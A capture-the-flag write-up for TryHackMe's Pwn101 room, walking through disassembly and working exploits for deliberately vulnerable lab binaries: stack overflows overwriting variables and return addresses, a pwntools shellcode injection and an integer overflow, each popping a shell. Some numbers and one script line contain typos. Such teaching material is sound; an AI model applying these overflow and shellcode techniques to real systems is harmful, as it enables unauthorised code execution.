Contents

THM pwn101 challenge write up

TRYHACKME Pwn101

The Tryhackme room

Pwn101. Modify variable’s value

Discovery(The Tryhackme room)

β”Œβ”€β”€(rootπŸ’€KALI2021)-[/mnt/work/tryhackme/pwn101/101]
└─# ./pwn101.pwn101
   β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
    β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
    β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
                 pwn 101

Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D

Type the required ingredients to make briyani:
ZZZZZ
Nah bruh, you lied me :(
She did Tomato rice instead of briyani :/

Analysis

β”Œ  int main (int argc, char **argv, char **envp);
β”‚     ; var uint32_t var_4h @ rbp-0x4
β”‚     ; var char *str @ rbp-0x40
β”‚     0x0000088e   push rbp
β”‚     0x0000088f   mov rbp, rsp
β”‚     0x00000892   sub rsp, 0x40
β”‚     0x00000896   mov dword [var_4h], 0x539
β”‚     0x0000089d   mov eax, 0
β”‚     0x000008a2   call sym.setup
β”‚     0x000008a7   mov eax, 0
β”‚     0x000008ac   call sym.banner
β”‚     0x000008b1   lea rdi, str.Hello___I_am_going_to_shopping.
β”‚     0x000008b8   call sym.imp.puts           ; int puts(const char *s)
β”‚     0x000008bd   lea rdi, str.Type_the_required_ingredients_to_make_briyani:
β”‚     0x000008c4   call sym.imp.puts           ; int puts(const char *s)
β”‚     0x000008c9   lea rax, [str]
β”‚     0x000008cd   mov rdi, rax                ; char *str
β”‚     0x000008d0   mov eax, 0
β”‚     0x000008d5   call sym.imp.gets           ; gets(str)
β”‚     0x000008da   cmp dword [var_4h], 0x539
β”‚ β”Œβ”€< 0x000008e1   jne 0x8f9
β”‚ β”‚   0x000008e3   lea rdi, str.Nah_bruh__you_lied_me_:
β”‚ β”‚   0x000008ea   call sym.imp.puts           ; int puts(const char *s)
β”‚ β”‚   0x000008ef   mov edi, 0x539              ; int status
β”‚ β”‚   0x000008f4   call sym.imp.exit           ; void exit(int status)
β”‚ β”‚   ; CODE XREF
β”‚ └─> 0x000008f9   lea rdi, str.Thanks__Heres_a_small_gift_for_you__3 ;
β”‚     0x00000900   call sym.imp.puts           ; int puts(const char *s)
β”‚     0x00000905   lea rdi, str._bin_sh        ; 0xc3f ; "/bin/sh"
β”‚     0x0000090c   call sym.imp.system         ; int system(const char *string)
β”‚     0x00000911   nop
β”‚     0x00000912   leave
β””     0x00000913   ret

The win condition is the following :

β”‚      0x000008da   cmp dword [var_4h], 0x539
β”‚  β”Œβ”€< 0x000008e1   jne 0x8f9

If the local variable var_4h is no more equal to 0x539

β”‚     0x00000896   mov dword [var_4h], 0x539

then a /bin/sh is spawned

The local variaable are :

β”‚     ; var uint32_t var_4h @ rbp-0x4
β”‚     ; var char *str @ rbp-0x40

The input data are received in rbp-0x40

β”‚     0x000008cd   mov rdi, rax                ; char *str
β”‚     0x000008d0   mov eax, 0
β”‚     0x000008d5   call sym.imp.gets           ; gets(str)

and gets dont controle the length of the message. Then a message longer than 60 (0xx60-4) modyfy the value.

gets hold the linefeed of the message so 59 characters are sufficents.

Exploitation

# python3 -c 'print("A"*59+"\ncat flag.txt\n")'|nc pwn101.thm 9001
   β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
    β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
    β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
                 pwn 101

Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D

Type the required ingredients to make briyani:
Thanks, Here's a small gift for you <3
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

Pwn102 - Modify variable’s value

./pwn102.pwn102
    β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
     β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
     β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
                 pwn 102

I need badf00d to fee1dead
Am I right? AAAAAAAAA
I'm feeling dead, coz you said I need bad food :(

Analysis

β”Œ  int main (int argc, char **argv, char **envp);
β”‚       ; var uint32_t var_4h @ rbp-0x4
β”‚       ; var uint32_t var_8h @ rbp-0x8
β”‚       ; var int64_t var_70h @ rbp-0x70
β”‚       0x000008fe  push rbp
β”‚       0x000008ff  mov rbp, rsp
β”‚       0x00000902  sub rsp, 0x70
β”‚       0x00000906  mov eax, 0
β”‚       0x0000090b  call sym.setup
β”‚       0x00000910  mov eax, 0
β”‚       0x00000915  call sym.banner
β”‚       0x0000091a  mov dword [var_4h], 0xbadf00d
β”‚       0x00000921  mov dword [var_8h], 0xfee1dead
β”‚       0x00000928  mov edx, dword [var_8h]
β”‚       0x0000092b  mov eax, dword [var_4h]
β”‚       0x0000092e  mov esi, eax
β”‚       0x00000930  lea rdi, str.I_need__x_to__x_nAm_I_right__ ; 0xb49
β”‚       0x00000937  mov eax, 0
β”‚       0x0000093c  call sym.imp.printf         ; int printf(const char *format)
β”‚       0x00000941  lea rax, [var_70h]
β”‚       0x00000945  mov rsi, rax
β”‚       0x00000948  lea rdi, [0x00000b66]       ; "%s" ; const char *format
β”‚       0x0000094f  mov eax, 0
β”‚       0x00000954  call sym.imp.__isoc99_scanf ; int scanf("%s", var_70h)
β”‚       0x00000959  cmp dword [var_4h], 0xc0ff33
β”‚   β”Œβ”€< 0x00000960  jne 0x992
β”‚   β”‚   0x00000962  cmp dword [var_8h], 0xc0d3
β”‚  β”Œβ”€β”€< 0x00000969  jne 0x992
β”‚  β”‚β”‚   0x0000096b  mov edx, dword [var_8h]
β”‚  β”‚β”‚   0x0000096e  mov eax, dword [var_4h]
β”‚  β”‚β”‚   0x00000971  mov esi, eax
β”‚  β”‚β”‚   0x00000973  lea rdi, str.Yes__I_need   ; 0xb69
β”‚  β”‚β”‚   0x0000097a  mov eax, 0
β”‚  β”‚β”‚   0x0000097f  call sym.imp.printf         ; int printf(const char *format)
β”‚  β”‚β”‚   0x00000984  lea rdi, str._bin_sh        ; 0xb7f ; "/bin/sh"
β”‚  β”‚β”‚   0x0000098b  call sym.imp.system         ; int system(const char *string)
β”‚ β”Œβ”€β”€β”€< 0x00000990  jmp 0x9a8
β”‚ β”‚β”‚β”‚   ; CODE XREF, 0x969
β”‚ │└└─> 0x00000992  lea rdi, str.Im_feeling_dead__coz_you_said_I_need_bad_food_:_
β”‚ β”‚     0x00000999  call sym.imp.puts           ; int puts(const char *s)
β”‚ β”‚     0x0000099e  mov edi, 0x539              ; int status
β”‚ β”‚     0x000009a3  call sym.imp.exit           ; void exit(int status)
β”‚ └───> 0x000009a8  leave
β””       0x00000     ret

This time the succes condition is to set the values in var_4h end var_8 to 0xc0ff33 and 0xc0d3 :

β”‚       0x00000959  cmp dword [var_4h], 0xc0ff33
β”‚   β”Œβ”€< 0x00000960  jne 0x992
β”‚   β”‚   0x00000962  cmp dword [var_8h], 0xc0d3
β”‚  β”Œβ”€β”€< 0x00000969  jne 0x992

The gets instruction write into rbp-0x70 so the overflow occure on 0x68 th car.

After a prefix of 120 (0x68) characters we send the attended values in the correct little endian convention. “\xd3\xc0\x00\x00” and β€œ\x33\xff\xc0\x00”

Test with gdb (pwngdb or gef)

gdb pwn102.pwn102

We set a bp to main + 86

b *main+86
pwndbg> disass main
Dump of assembler code for function main:
   0x00005555554008fe <+0>:     push   rbp
   0x00005555554008ff <+1>:     mov    rbp,rsp
   0x0000555555400902 <+4>:     sub    rsp,0x70
   0x0000555555400906 <+8>:     mov    eax,0x0
   0x000055555540090b <+13>:    call   0x55555540088a <setup>
   0x0000555555400910 <+18>:    mov    eax,0x0
   0x0000555555400915 <+23>:    call   0x5555554008eb <banner>
   0x000055555540091a <+28>:    mov    DWORD PTR [rbp-0x4],0xbadf00d
   0x0000555555400921 <+35>:    mov    DWORD PTR [rbp-0x8],0xfee1dead
   0x0000555555400928 <+42>:    mov    edx,DWORD PTR [rbp-0x8]
   0x000055555540092b <+45>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000055555540092e <+48>:    mov    esi,eax
   0x0000555555400930 <+50>:    lea    rdi,[rip+0x212]        #
   0x0000555555400937 <+57>:    mov    eax,0x0
   0x000055555540093c <+62>:    call   0x555555400730 <printf@plt>
   0x0000555555400941 <+67>:    lea    rax,[rbp-0x70]
   0x0000555555400945 <+71>:    mov    rsi,rax
   0x0000555555400948 <+74>:    lea    rdi,[rip+0x217]        #
   0x000055555540094f <+81>:    mov    eax,0x0
=> 0x0000555555400954 <+86>:    call   0x555555400750 <__isoc99_scanf@plt>
   0x0000555555400959 <+91>:    cmp    DWORD PTR [rbp-0x4],0xc0ff33
   0x0000555555400960 <+98>:    jne    0x555555400992 <main+148>
   0x0000555555400962 <+100>:   cmp    DWORD PTR [rbp-0x8],0xc0d3
   0x0000555555400969 <+107>:   jne    0x555555400992 <main+148>
   0x000055555540096b <+109>:   mov    edx,DWORD PTR [rbp-0x8]
   0x000055555540096e <+112>:   mov    eax,DWORD PTR [rbp-0x4]
   0x0000555555400971 <+115>:   mov    esi,eax
   0x0000555555400973 <+117>:   lea    rdi,[rip+0x1ef]        #
   0x000055555540097a <+124>:   mov    eax,0x0
   0x000055555540097f <+129>:   call   0x555555400730 <printf@plt>
   0x0000555555400984 <+134>:   lea    rdi,[rip+0x1f4]        #
   0x000055555540098b <+141>:   call   0x555555400720 <system@plt>
   0x0000555555400990 <+146>:   jmp    0x5555554009a8 <main+170>
   0x0000555555400992 <+148>:   lea    rdi,[rip+0x1ef]        #
   0x0000555555400999 <+155>:   call   0x555555400710 <puts@plt>
   0x000055555540099e <+160>:   mov    edi,0x539
   0x00005555554009a3 <+165>:   call   0x555555400760 <exit@plt>
   0x00005555554009a8 <+170>:   leave
   0x00005555554009a9 <+171>:   ret

Running with

r < <( python -c 'print("A"*0x68+"\xd3\xc0\x00\x00\x33\xff\xc0\x00")')

The stack before scanf :

pwndbg> x/16xg $rsp
0x7fffffffded0: 0x0000000000000000      0x0000000000000000
0x7fffffffdee0: 0x0000000000000000      0x0000000000000000
0x7fffffffdef0: 0x0000000000000000      0x0000000000000000
0x7fffffffdf00: 0x0000000000000001      0x00005555554009fd
0x7fffffffdf10: 0x0000000000000000      0x00005555554009b0
0x7fffffffdf20: 0x0000000000000000      0x0000555555400780
0x7fffffffdf30: 0x00007fffffffe030      0x0badf00dfee1dead (var_8/var_4)
0x7fffffffdf40: 0x0000000000000000      0x00007ffff7e087ed (srip)

After scanf

ni
…
pwndbg> x/16xg $rsp
0x7fffffffded0: 0x4141414141414141      0x4141414141414141
0x7fffffffdee0: 0x4141414141414141      0x4141414141414141
0x7fffffffdef0: 0x4141414141414141      0x4141414141414141
0x7fffffffdf00: 0x4141414141414141      0x4141414141414141
0x7fffffffdf10: 0x4141414141414141      0x4141414141414141
0x7fffffffdf20: 0x4141414141414141      0x4141414141414141
0x7fffffffdf30: 0x4141414141414141      0x00c0ff330000c0d3  coffee code
0x7fffffffdf40: 0x0000000000000000      0x00007ffff7e087ed

we can verify the variables :

pwndbg> x/1xw $rbp-4
0x7fffffffdf3c: 0x00c0ff33
pwndbg> x/1xw $rbp-8
0x7fffffffdf38: 0x0000c0d3

Execution on the challenge with netcat

# (python -c 'print("A"*0x68+"\xd3\xc0\x00\x00\x33\xff\xc0\x00")';cat) | nc pwn101.thm 9002
     β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
      β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
      β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
              pwn 102

I need badf00d to fee1dead
Am I right? Yes, I need c0ff33 to c0d3
id
uid=1003(pwn102) gid=1003(pwn102) groups=1003(pwn102)
ls
flag.txt
pwn102
pwn102.c
cat flag.txt
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxx}

pwn103 - Return to win

Discovery

The program display a menu

$ ./pwn103.pwn103
β£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώ
β£Ώβ£Ώβ£Ώβ‘Ÿβ β „β „β „β „β „β „β „β „β „β „β „β „β „β „β ˆβ’Ήβ£Ώβ£Ώβ£Ώ
⣿⣿⣿⑇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄Ⓒ⣿⣿⣿
⣿⣿⣿⑇⠄⠄⠄⒠⣴⣾⣡⣢⣢⣾⣿⣦⑄⠄⠄⠄Ⓒ⣿⣿⣿
⣿⣿⣿⑇⠄⠄⒀⣾⣿⣿Ⓙ⣿⣿⣿⣿⣿⣿⑄⠄⠄Ⓒ⣿⣿⣿
⣿⣿⣿⑇⠄⠄Ⓒ⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄Ⓒ⣿⣿⣿
β£Ώβ£Ώβ£Ώβ‘‡β „β „β ˜β »β’·β‘―β ›β ›β ›β ›β’«β£Ώβ Ÿβ ›β „β „β’Έβ£Ώβ£Ώβ£Ώ
⣿⣿⣿⑇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄Ⓒ⣿⣿⣿
⣿⣿⣿⣧⑀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⒑⣀⠄⠄Ⓒ⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣢⣆⣸⣿⣿⣿
β£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώ

  [THM Discord Server]

βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–
1) πŸ“’ Announcements
2) πŸ“œ Rules
3) πŸ—£  General
4) 🏠 rooms discussion
5) πŸ€– Bot commands
βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–
⌨️  Choose the channel:

Using the interface we test all channel. Many of them print only static infos. But we found an overflow in the General channel

πŸ—£  General:

------[jopraveen]: Hello pwners πŸ‘‹
------[jopraveen]: Hope you're doing well πŸ˜„
------[jopraveen]: You found the vuln, right? πŸ€”

------[pwner]: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Try harder!!! πŸ’ͺ
Erreur de segmentation

looking at the source

; CALL XREF from sym.main @ 0x40164b
β”Œ  sym.general ();
β”‚      ; var char *s1 @ rbp-0x20
β”‚      0x004012be  push rbp
β”‚      0x004012bf  mov rbp, rsp
β”‚      0x004012c2  sub rsp, 0x20
β”‚      0x004012c6  lea rax, [0x004023aa]       ; "\n\U0001f5e3  General:\n"
β”‚      0x004012cd  mov rdi, rax                ; const char *s
β”‚      0x004012d0  call sym.imp.puts           ; int puts(const char *s)
β”‚      0x004012d5  lea rax, str.jopraveen_:_Hello_pwners ; 0x4023c0 ;
β”‚      0x004012dc  mov rdi, rax                ; const char *s
β”‚      0x004012df  call sym.imp.puts           ; int puts(const char *s)
β”‚      0x004012e4  lea rax, str.jopraveen_:_Hope_you_re_doing_well ; 0x4023e8
β”‚      0x004012eb  mov rdi, rax                ; const char *s
β”‚      0x004012ee  call sym.imp.puts           ; int puts(const char *s)
β”‚      0x004012f3  lea rax, str.jopraveen_:_You_found_the_vuln__right ; 0x402418
β”‚      0x004012fa  mov rdi, rax                ; const char *s
β”‚      0x004012fd  call sym.imp.puts           ; int puts(const char *s)
β”‚      0x00401302  lea rax, str.pwner_:        ; 0x40244c ; "------[pwner]: "
β”‚      0x00401309  mov rdi, rax                ; const char *format
β”‚      0x0040130c  mov eax, 0
β”‚      0x00401311  call sym.imp.printf         ; int printf(const char *format)
β”‚      0x00401316  lea rax, [s1]
β”‚      0x0040131a  mov rsi, rax
β”‚      0x0040131d  lea rax, [0x0040245c]       ; "%s"
β”‚      0x00401324  mov rdi, rax                ; const char *format
β”‚      0x00401327  mov eax, 0
β”‚      0x0040132c  call sym.imp.__isoc99_scanf ; int scanf(const char *format)
β”‚      0x00401331  lea rax, [s1]
β”‚      0x00401335  lea rdx, [0x0040245f]       ; "yes"
β”‚      0x0040133c  mov rsi, rdx                ; const char *s2
β”‚      0x0040133f  mov rdi, rax                ; const char *s1
β”‚      0x00401342  call sym.imp.strcmp         ; int strcmp(s1,s2)
β”‚      0x00401347  test eax, eax
β”‚  β”Œβ”€< 0x00401349  jne 0x401366
β”‚  β”‚   0x0040134b  lea rax, str.jopraveen_:_GG ; 0x402463 ; "------[jopraveen]: GG
β”‚  β”‚   0x00401352  mov rdi, rax                ; const char *s
β”‚  β”‚   0x00401355  call sym.imp.puts           ; int puts(const char *s)
β”‚  β”‚   0x0040135a  mov eax, 0
β”‚  β”‚   0x0040135f  call sym.main               ; int main()
β”‚ β”Œβ”€β”€< 0x00401364  jmp 0x401375
β”‚ β”‚β”‚   ; CODE XREF 0x401349
β”‚ │└─> 0x00401366  lea rax, str.Try_harder     ; 0x40247f ; "Try harder!!!"
β”‚ β”‚    0x0040136d  mov rdi, rax                ; const char *s
β”‚ β”‚    0x00401370  call sym.imp.puts           ; int puts(const char *s)
β”‚ β”‚    ; CODE XREF 0x401364
β”‚ └──> 0x00401375  nop
β”‚      0x00401376  leave
β””      0x00401377  ret

we have a scanf to s1:

β”‚      ; var char *s1 @ rbp-0x20
β”‚      0x00401316  lea rax, [s1]
β”‚      0x0040131a  mov rsi, rax

With format %s

β”‚      0x0040131d  lea rax, [0x0040245c]       ; "%s"
β”‚      0x00401324  mov rdi, rax                ; const char *format
β”‚      0x00401327  mov eax, 0
β”‚      0x0040132c  call sym.imp.__isoc99_scanf ; canf(const char *format)

So we have an overflow after 32 caracters.

No canary protection is set.

We car put a choosen address to SRIP (return addresse of general())

Just befor the main function we found :

β”Œ sym.admins_only ();
β”‚ 0x00401554  push rbp
β”‚ 0x00401555  mov rbp, rsp
β”‚ 0x00401558  sub rsp, 0x10
β”‚ 0x0040155c  lea rax, str.Admins_only:   ; 0x403267 ;
β”‚ 0x00401563  mov rdi, rax                ; const char *s
β”‚ 0x00401566  call sym.imp.puts           ; int puts(const char *s)
β”‚ 0x0040156b  lea rax, str.Welcome_admin  ; 0x40327c ; "Welcome admin \U0001f604"
β”‚ 0x00401572  mov rdi, rax                ; const char *s
β”‚ 0x00401575  call sym.imp.puts           ; int puts(const char *s)
β”‚ 0x0040157a  lea rax, str.bin_sh         ; 0x40328f ; "/bin/sh"
β”‚ 0x00401581  mov rdi, rax                ; const char *string
β”‚ 0x00401584  call sym.imp.system         ; int system(const char *string)
β”‚ 0x00401589  nop
β”‚ 0x0040158a  leave
β”” 0x0040158b  ret

The we have to send a message on the general channel with

‘A’*40+pack64(0x00401554)

According to the note we have to add a β€œropnop” instruction and put first a ret addresse on the stack

Le payload become : ‘A’*40+pack64(0x00401377)+pack64(0x00401554)

Exploitation

Using pwn tools

#!/usr/bin/env python3

from pwn import *
import re

REMOTE=True

server = "pwn101.thm"
port = 9003
file="./pwn103.pwn103"

if REMOTE:
    try:
        io = remote(server, port)
    except:
        log.info(f"Cant connect to {server}")
        exit()
else:
    io = process(file)

io.sendlineafter('channel:',b'3')
io.sendlineafter('[pwner]:',b'A'*40++p64(0x401377)+p64(0x00401554))
io.interactive()

pwn104 - shellcoding

Discovery

# ./pwn104.pwn104
       β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
        β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
        β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
                 pwn 104

I think I have some super powers πŸ’ͺ
especially executable powers 😎πŸ’₯

Can we go for a fight? 😏πŸ’ͺ
I'm waiting for you at 0x7ffe8fc5a500
zzzz

Analysis

β”Œ int main (int argc, char **argv, char **envp);
β”‚ ; var void *buf @ rbp-0x50
β”‚ 0x004011cd  push rbp
β”‚ 0x004011ce  mov rbp, rsp
β”‚ 0x004011d1  sub rsp, 0x50
β”‚ 0x004011d5  mov eax, 0
β”‚ 0x004011da  call sym.setup
β”‚ 0x004011df  mov eax, 0
β”‚ 0x004011e4  call sym.banner
β”‚ 0x004011e9  lea rax, str.I_think_I_have_some_super_powers_ ; 0x402120
β”‚ 0x004011f0  mov rdi, rax                ; const char *s
β”‚ 0x004011f3  call sym.imp.puts           ; int puts(const char *s)
β”‚ 0x004011f8  lea rax, str.especially_executable_powers__n ; 0x402148 ;
β”‚ 0x004011ff  mov rdi, rax                ; const char *s
β”‚ 0x00401202  call sym.imp.puts           ; int puts(const char *s)
β”‚ 0x00401207  lea rax, str.Can_we_go_for_a_fight__ ; 0x402170
β”‚ 0x0040120e  mov rdi, rax                ; const char *s
β”‚ 0x00401211  call sym.imp.puts           ; int puts(const char *s)
β”‚ 0x00401216  lea rax, [buf]
β”‚ 0x0040121a  mov rsi, rax
β”‚ 0x0040121d  lea rax, str.Im_waiting_for_you_at__p_n ; 0x402190
β”‚ 0x00401224  mov rdi, rax                ; const char *format
β”‚ 0x00401227  mov eax, 0
β”‚ 0x0040122c  call sym.imp.printf         ; int printf("Im watting …%p", @buf)
β”‚ 0x00401231  lea rax, [buf]
β”‚ 0x00401235  mov edx, 0xc8               ; 200 ; size_t nbyte
β”‚ 0x0040123a  mov rsi, rax                ; void *buf
β”‚ 0x0040123d  mov edi, 0                  ; int fildes
β”‚ 0x00401242  mov eax, 0
β”‚ 0x00401247  call sym.imp.read           ; read(0,buf,200)
β”‚ 0x0040124c  nop
β”‚ 0x0040124d  leave
β”” 0x0040124e  ret

The program send us the address of the local variable rbp-0x50

then read 200 caracters in this buffer.

The Overflow occurs after 0x50 (80) caracters for reach SRIP we need 88 bytes.

Looking at the stack protection :

pwndbg> checksec
[*] '/mnt/work/tryhackme/pwn101/104/pwn104.pwn104'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

NX is disables so we can :

  • read the leak of buf address
  • put a shellcode in the buffer and send :

<shellcode><pad to 88><@leak>

exploitation

It is an opportunity to use the shellcraft feature of pwntool.

#!/usr/bin/env python3

from pwn import *
import re

REMOTE=True

server = "pwn101.thm"
port = 9004
file="./pwn104.pwn104"

gs = '''
c
'''
if REMOTE:
    try:
        io = remote(server, port)
    except:
        log.info(f"Cant connect to {server}")
        exit()
else:
    io = process(file)
    #gdb.attach(io, gs)
    #io = gdb.debug(file, aslr=False, gdbscript=gs)

context.arch = "x86_64"
context.os = "linux"

sc = shellcraft.cat('flag.txt')
sc_asm=asm(sc)

io.recvuntil(b'for you at')
leak=io.recvline().rstrip()
leak=int(leak,16)
PL=sc_asm+b"X"*(0x58-len(sc_asm))+p64(leak)
io.sendline(PL)
io.interactive()

pwn105 - Integer Overflow

Discovery

# ./pwn105.pwn105
       β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
        β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
        β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
                 pwn 105

-------=[ BAD INTEGERS ]=-------
|-< Enter two numbers to add >-|

]>> 11
]>> 11

[*] ADDING 11 + 11
[*] RESULT: 22
pwndbg> checksec
[*] '/mnt/work/tryhackme/pwn101/105/pwn105.pwn105'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

The program ask for 2 numbers and give the sum.

Analysis

In some condition the following code is executed :

│└───> 0x0000134b   mov eax, dword [var_ch]
β”‚β”‚ β”‚β”‚   0x0000134e   mov esi, eax
β”‚β”‚ β”‚β”‚   0x00001350   lea rax, str._n___C:__d     ; 0x2197 ; "\n[*] C: %d"
β”‚β”‚ β”‚β”‚   0x00001357   mov rdi, rax                ; const char *format
β”‚β”‚ β”‚β”‚   0x0000135a   mov eax, 0
β”‚β”‚ β”‚β”‚   0x0000135f   call sym.imp.printf         ; int printf(const char *format)
β”‚β”‚ β”‚β”‚   0x00001364   lea rax, str._n___Popped_Shell
β”‚β”‚ β”‚β”‚   0x0000136b   mov rdi, rax                ; const char *s
β”‚β”‚ β”‚β”‚   0x0000136e   call sym.imp.puts           ; int puts(const char *s)
β”‚β”‚ β”‚β”‚   0x00001373   lea rax, str._bin_sh        ; 0x21dc ; "/bin/sh"
β”‚β”‚ β”‚β”‚   0x0000137a   mov rdi, rax                ; const char *string
β”‚β”‚ β”‚β”‚   0x0000137d   call sym.imp.system         ; int system(const char *string)
β”‚β”‚β”Œβ”€β”€β”€< 0x00001382   jmp 0x13a3

To reach it :

β”‚       0x000012f5   mov edx, dword [var_14h]
β”‚       0x000012f8   mov eax, dword [var_10h]
β”‚       0x000012fb   add eax, edx
β”‚       0x000012fd   mov dword [var_ch], eax
β”‚       0x00001300   mov eax, dword [var_14h]
β”‚       0x00001303   test eax, eax
β”‚   β”Œβ”€< 0x00001305   js 0x1384
β”‚   β”‚   0x00001307   mov eax, dword [var_10h]
β”‚   β”‚   0x0000130a   test eax, eax
β”‚  β”Œβ”€β”€< 0x0000130c   js 0x1384
β”‚  β”‚β”‚   0x0000130e   cmp dword [var_ch], 0
β”‚ β”Œβ”€β”€β”€< 0x00001312   js 0x134b

var_10h and var_14h are the two given numbers.

var_ch is initialized with the sum of them.

β”‚  β”‚β”‚   0x0000130e   cmp dword [var_ch], 0
β”‚ β”Œβ”€β”€β”€< 0x00001312   js 0x134b

var_ch have to be signed (negative dword)

but var_14 has no had sign flag.

β”‚       0x00001300   mov eax, dword [var_14h]
β”‚       0x00001303   test eax, eax
β”‚   β”Œβ”€< 0x00001305   js 0x1384 ; exit

idem for var_10

β”‚   β”‚   0x00001307   mov eax, dword [var_10h]
β”‚   β”‚   0x0000130a   test eax, eax
β”‚  β”Œβ”€β”€< 0x0000130c   js 0x1384

To obtain this condition we can enter two times the larger positiv number : 0x7fffffff (2147483647)

The sum is 0xfffffffe (-2)

Exploitation

# nc pwn101.thm 9005
       β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
        β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
        β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
                 pwn 105

-------=[ BAD INTEGERS ]=-------
|-< Enter two numbers to add >-|

]>> 2147483647
]>> 2147483647

[*] C: -2
[*] Popped Shell
[*] Switching to interactive mode
id
uid=1006(pwn105) gid=1006(pwn105) groups=1006(pwn105)
cat flag.txt
THM{xxxxxxxxxxxxxxxxxxxx}

pwn106 - Print format

Discovery

# ./pwn106user.pwn106-user
       β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
        β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
        β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
                 pwn 107

πŸŽ‰ THM Giveaway πŸŽ‰

Enter your THM username to participate in the giveaway: AAAAA

Thanks AAAAA

Analysis

The code of the function main :

β”Œ int main (int argc, char **argv, char **envp);
β”‚    ; var int64_t canary @ rbp-0x8
β”‚    ; var char *format @ rbp-0x40
